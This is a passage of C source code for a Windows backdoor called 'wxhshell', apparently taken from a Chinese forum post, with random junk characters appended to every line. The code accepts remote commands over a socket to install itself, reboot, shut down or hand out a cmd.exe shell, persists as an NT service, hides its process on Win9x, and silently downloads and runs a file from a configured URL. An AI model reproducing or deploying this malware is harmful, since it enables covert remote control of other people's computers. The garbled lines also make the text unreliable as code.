      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wxjpe4  
    break; ]P.S5s'  
  } *h Ur E  
  // 安装 8QU`SoS9  
  case 'i': { EOL03N   
    if(Install()) ~0L>l J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%TvGe;#  
    else fOfp.`n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FwyPmtBj  
    break; ]l`DR4 =  
    } 2bqwnRT}  
  // 卸载 VrpY BU  
  case 'r': { BtspnVB ez  
    if(Uninstall()) 3iB8QO;pp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nbr{)h  
    else `g7' )MSy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q07>FW R  
    break; ;RXv%ML  
    } [yz;OoA:;  
  // 显示 wxhshell 所在路径 m9/a!|fBE  
  case 'p': { a.P^+h  
    char svExeFile[MAX_PATH]; N'4*L=Ut  
    strcpy(svExeFile,"\n\r"); Gv`PCA@/d  
      strcat(svExeFile,ExeFile); T"O!  
        send(wsh,svExeFile,strlen(svExeFile),0); '?\Hm'8  
    break; xe d$z  
    } bkb}M)C  
  // 重启 {+!_; zzZ  
  case 'b': { 2l9_$evK~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kns[b [!H  
    if(Boot(REBOOT)) I)clGMS,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8(.bmvF  
    else { %BL+'&q  
    closesocket(wsh); 4WLB,<b}  
    ExitThread(0); X]N8'Yt  
    }  BzDS  
    break; >6Q-e$GS@  
    } \o/oM,u  
  // 关机 PWTAy\  
  case 'd': { #N*~Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fSj^/>  
    if(Boot(SHUTDOWN)) f.!cR3XgV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 74Lq!e3hMF  
    else { h-<+Pjc  
    closesocket(wsh); qu?D`29  
    ExitThread(0); t JJaIb6Xj  
    } 5z0SjQ  
    break; by- B).7  
    } b(wiJ&t  
  // 获取shell 'i}Q R~pe  
  case 's': { [xHK^JP 8F  
    CmdShell(wsh); 8E D6C"6  
    closesocket(wsh); wuPx6hCl  
    ExitThread(0); \5Hfe;ny-~  
    break; 'Ic$p>  
  } 'C(YUlT2?P  
  // 退出 X4jtti  
  case 'x': { #U^@)g6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X"yLo8y8$  
    CloseIt(wsh); dD=dPi#  
    break; q?`bu:yS  
    } bEM-^SR  
  // 离开 h 9No'!'!  
  case 'q': { O`*}N1No[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *edB3!!  
    closesocket(wsh); ondF  
    WSACleanup(); nP] ~8ViS  
    exit(1); 'En6h"{  
    break; t'^/}=c-  
        }  1D6iJ  
  } +g(QF   
  } >xT8[  
-e30!A  
  // 提示信息 tv5SQ+AI3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L.>`;`dmY  
} ZZ#S\*  
  } g^=p)h3  
p9 %7h.  
  return; ='a$>JVJ5  
} XSXS;Fh)  
ENygD  
// shell模块句柄 66v6do7  
int CmdShell(SOCKET sock) /mmC qP  
{ |[8&5[);  
STARTUPINFO si; "Q ^Ck7  
ZeroMemory(&si,sizeof(si)); '(;`t1V8k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rlgp1>89  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Zkl\A$>  
PROCESS_INFORMATION ProcessInfo; G >bQlZG  
char cmdline[]="cmd"; LXr nAt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JW (.,Ztm  
  return 0; >osY?9  
} g$~ktr+%  
Nw8lg*t"  
// 自身启动模式 Yz4Q!tL  
int StartFromService(void) FgLV>#)-  
{ 2]hQ56Yv3  
typedef struct 525W; mu{  
{ Jc/*w  
  DWORD ExitStatus; J&wrBVv1uk  
  DWORD PebBaseAddress; 0KE+RzrB  
  DWORD AffinityMask; {U>B\D  
  DWORD BasePriority; e+j7dmGa  
  ULONG UniqueProcessId; .hXxh)F  
  ULONG InheritedFromUniqueProcessId; Q YPsqkF*  
}   PROCESS_BASIC_INFORMATION; Ap=L lZ  
uD_iyK0,  
PROCNTQSIP NtQueryInformationProcess; "1t%J7c_  
7?xTJN)G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rUR{MF&]D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O$+0 .  
O)n"a\LD  
  HANDLE             hProcess; GG-7YJ  
  PROCESS_BASIC_INFORMATION pbi; Ru `&>E  
>:WnCkbp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |\Nu+w   
  if(NULL == hInst ) return 0; !ffdeWHR  
{%*,KB>b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f%;8]a9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); unKi)v1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (]>= y  
CNwIM6t  
  if (!NtQueryInformationProcess) return 0; ;N#d'E\  
E9i M-Lw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1YL6:5n  
  if(!hProcess) return 0; 8c3Qd  
q#$Al  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [> Q+=(l  
u1R_u9  
  CloseHandle(hProcess); x\T 9V~8a  
jhl9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iv*`.9TK-  
if(hProcess==NULL) return 0; (R5n ND  
@m[q0G}  
HMODULE hMod; kaq H.e(  
char procName[255]; ihS;q6ln  
unsigned long cbNeeded; yY+)IU.  
..'k+0u^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cks53/Z  
 rl"$6{Z}  
  CloseHandle(hProcess); CY"&@v1  
ssj(-\5  
if(strstr(procName,"services")) return 1; // 以服务启动 2iO AUo+  
;/l$&:  
  return 0; // 注册表启动 _~]~ssn,1  
} >]s\%GO  
>$Sc}a3  
// 主模块 :sDE 'o  
int StartWxhshell(LPSTR lpCmdLine) 9$U@h7|Q`  
{ Jr+~'  
  SOCKET wsl; >>22:JI`  
BOOL val=TRUE; kV9S+ME  
  int port=0; : p %G+q2  
  struct sockaddr_in door; Y>W$n9d&G2  
o}O"  
  if(wscfg.ws_autoins) Install(); oe$&X&  
?tx%K U\3  
port=atoi(lpCmdLine); >U .  
Ad$CHx-  
if(port<=0) port=wscfg.ws_port; ZFYv|2l  
.LMOmc=(  
  WSADATA data; B /q/6Pp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IdTa tE|^  
 qmQ}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vM G>Xb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %c:v70*h=  
  door.sin_family = AF_INET; OI/m_xx@j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qM}Uk3N0  
  door.sin_port = htons(port); ;r<(n3"F  
b/;!yOF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :buH\LB*P  
closesocket(wsl); 17kh6(X  
return 1; qTxw5.Ai!  
} cC@.&  
B6qM0QW  
  if(listen(wsl,2) == INVALID_SOCKET) { / ,Unp1D  
closesocket(wsl); 2yB)2n#ut  
return 1; dRC RB  
} t 3LRmjL  
  Wxhshell(wsl); wwmHr!b:6  
  WSACleanup(); /1D]\k()  
8d4:8}  
return 0; 4sJM!9eb[  
-o: if F|  
} 'OEh'\d+x  
`eZ +Pf".  
// 以NT服务方式启动 0'm$hU}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o}^/K m+t  
{ "!w$7|% T  
DWORD   status = 0; 4DLp +6zP  
  DWORD   specificError = 0xfffffff; VKGH+j[  
HV0!G-h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &>%R)?SZh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nrFuhW\r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J]h$4"  
  serviceStatus.dwWin32ExitCode     = 0; {Tr5M o  
  serviceStatus.dwServiceSpecificExitCode = 0; /kZ{+4M  
  serviceStatus.dwCheckPoint       = 0; dio<?6ZD9P  
  serviceStatus.dwWaitHint       = 0; t 0 omJP  
{:@MBA 34  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;pH&YBY  
  if (hServiceStatusHandle==0) return;  iwiHw  
l(Y U9dp  
status = GetLastError(); 4k7 LM]  
  if (status!=NO_ERROR) fS@V`"O6  
{ owR`Z`^h)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  H8lh.K  
    serviceStatus.dwCheckPoint       = 0; T{A 5,85  
    serviceStatus.dwWaitHint       = 0; 27"M]17)  
    serviceStatus.dwWin32ExitCode     = status; @Yzdq\FI  
    serviceStatus.dwServiceSpecificExitCode = specificError; >0XB7sC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U-]Rm}X\M  
    return; 9sQ #v-+Yx  
  } n PAl8  
?@@BIg-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EdC^L`::  
  serviceStatus.dwCheckPoint       = 0; Jm#mC  
  serviceStatus.dwWaitHint       = 0; A vh"(j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &7 0o4~Fr  
} ~ k(4eRq  
3AQu\4+A  
// 处理NT服务事件,比如:启动、停止 Q|$?d4La8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t%k1=Ow5i  
{ v,eTDgw  
switch(fdwControl) C<G`wXlP|  
{ M= ]]kJ:I  
case SERVICE_CONTROL_STOP: M "W~%   
  serviceStatus.dwWin32ExitCode = 0; LK>J]p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u*h+ c8|zI  
  serviceStatus.dwCheckPoint   = 0; {e/6iSpT  
  serviceStatus.dwWaitHint     = 0; U=Hx&g  
  { Hyn*O)q!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|a^<| S  
  } ;:`0:Ao.  
  return; 4tGP- L  
case SERVICE_CONTROL_PAUSE: 5eL_iNqJM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G+k~k/D6  
  break; 1s"/R  
case SERVICE_CONTROL_CONTINUE: R3dt-v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yw!(]8PYdU  
  break; >}I BPC  
case SERVICE_CONTROL_INTERROGATE: Ho^rYz  
  break; 2a,l;o$2&  
}; USDqh437  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mh$Nwr/W:  
} `@tn Eg  
3;E,B7,mQ  
// 标准应用程序主函数 fGf C[DuY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \9Yc2$dY  
{ GEd JB=  
e/J|wM9Ak  
// 获取操作系统版本 x$gVEh*k  
OsIsNt=GetOsVer(); jmkVolz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~N!-4-~p  
WGC'k s ^  
  // 从命令行安装 S-Z s  
  if(strpbrk(lpCmdLine,"iI")) Install(); K}KgCJ3  
*z3wm-z1&  
  // 下载执行文件 QPZ|C{Ce  
if(wscfg.ws_downexe) { S!JwF&EW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uK!G-1   
  WinExec(wscfg.ws_filenam,SW_HIDE);  y5!fbmf  
} m|8ljXX  
2y;J 11\  
if(!OsIsNt) { %fzZpd]v=,  
// 如果时win9x,隐藏进程并且设置为注册表启动 D,( "3zx  
HideProc(); %J b/HWC[  
StartWxhshell(lpCmdLine); bAkCk]>5  
} ]A#K;AW{U  
else +jv&V%IL  
  if(StartFromService()) 2<X.kM?N{B  
  // 以服务方式启动 ?z/ )Hkw  
  StartServiceCtrlDispatcher(DispatchTable); %9HL "  
else <q<kqy5s-R  
  // 普通方式启动 F?jFFw im  
  StartWxhshell(lpCmdLine); h+"UK=  
c&]nAn(  
return 0; }z|@X KA#  
}
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只看该作者 1 发表于: 2006-10-10
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